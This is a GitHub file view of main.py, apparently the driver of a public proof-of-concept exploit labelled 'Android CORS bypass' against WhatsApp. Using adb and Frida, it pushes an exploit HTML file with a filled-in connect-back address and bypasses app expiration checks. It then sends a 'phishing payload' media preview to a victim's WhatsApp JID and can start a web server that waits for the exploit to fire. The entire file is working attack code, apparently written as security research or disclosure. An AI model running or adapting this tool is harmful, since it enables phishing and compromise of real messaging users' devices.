-
Notifications
You must be signed in to change notification settings - Fork 35
/
main.py
124 lines (87 loc) · 4.03 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
#!/usr/bin/env python3
__author__ = 'Chariton Karamitas <[email protected]>'
import sys
import os
import argparse
import time
import frida
import common
import logger
import adb
import frida_util
import server
class _NoWrapHelpFormatter(argparse.ArgumentDefaultsHelpFormatter):
def __init__(self, *args, **kwargs):
super(_NoWrapHelpFormatter, self).__init__(*args, **kwargs)
def _split_lines(self, text, width):
return super(_NoWrapHelpFormatter, self)._split_lines(text, 31337)
def main(argv):
l = logger.get_logger('main')
if sys.version_info.major != 3:
l.error('Python 3.x required')
return os.EX_USAGE
parser = argparse.ArgumentParser(description='Android CORS bypass', formatter_class=_NoWrapHelpFormatter)
parser.add_argument('image', metavar='IMAGE', type=str,
help='JPEG image file to send as media preview')
parser.add_argument('jid', metavar='JID', type=str,
help='WhatsApp JID of victim')
parser.add_argument('caption', metavar='CAPTION', type=str,
help='caption to send in media preview')
parser.add_argument('-s', '--serial', metavar='SERIAL', type=str,
default=None, help='serial number of Android device to use')
parser.add_argument('-f', '--frida-path', metavar='PATH', type=str,
default=None, help='path to Frida server binary on the device')
parser.add_argument('-a', '--connect-back-ip', metavar='IP', type=str,
default='127.0.0.1', help='connect-back web-server IP address')
parser.add_argument('-p', '--connect-back-port', metavar='PORT', type=int,
default=80, help='connect-back web-server port')
parser.add_argument('-r', '--start-server', action='store_true',
default=False, help='Start web-server after sending phishing payload')
args = parser.parse_args()
l.info('Pushing JPEG image on the device')
adb_abstractions = adb.ADBAbstractions(serial=args.serial)
adb_abstractions.push(args.image, '%s/image.jpg' % common.TMPDIR)
l.info('Pushing HTML document on the device')
data = None
with open('exploit/exploit.html') as fp:
data = fp.read()
data = data.replace('<ADDRESS>', 'http://%s:%d' % (args.connect_back_ip, args.connect_back_port))
with open('/tmp/exploit.html', 'w') as fp:
fp.write(data)
adb_abstractions.push('/tmp/exploit.html', '%s/%s' % (common.TMPDIR, args.caption))
l.info('Initializing Frida client and server')
frida_abstractions = frida_util.Frida(serial=args.serial)
try:
frida_abstractions.attach('com.whatsapp')
except frida.ProcessNotFoundError:
l.info('Spawning WhatsApp')
frida_abstractions.spawn('com.whatsapp')
frida_abstractions.resume()
script = frida_abstractions.load_script_file('frida_scripts/version.js')
version = script.exports.version()
l.info('WhatsApp version is %s' % version)
if not os.path.exists('frida_scripts/whatsapp-%s' % version):
raise RuntimeError('Unsupported WhatsApp version %s' % version)
if os.path.exists('frida_scripts/whatsapp-%s/expire.js' % version):
l.info('Re-spawning WhatsApp and bypassing expiration checks')
frida_abstractions.spawn('com.whatsapp')
frida_abstractions.load_script_file('frida_scripts/whatsapp-%s/expire.js' % version)
frida_abstractions.resume()
l.info('Waiting for 5 sec.')
time.sleep(5)
l.info('Sending phishing payload')
script = frida_abstractions.load_script_file('frida_scripts/whatsapp-%s/phish.js' % version)
script.exports.phish(args.jid, '%s/%s' % (common.TMPDIR, args.caption), '%s/image.jpg' % common.TMPDIR, args.caption)
if args.start_server:
l.info('Starting web-server and waiting for exploit to be triggered')
server.start('', args.connect_back_port)
else:
l.info('Waiting for 5 sec.')
time.sleep(5)
l.info('Detaching from WhatsApp')
frida_abstractions.detach()
l.info('Done')
logger.shutdown()
return os.EX_OK
if __name__ == '__main__':
sys.exit(main(sys.argv))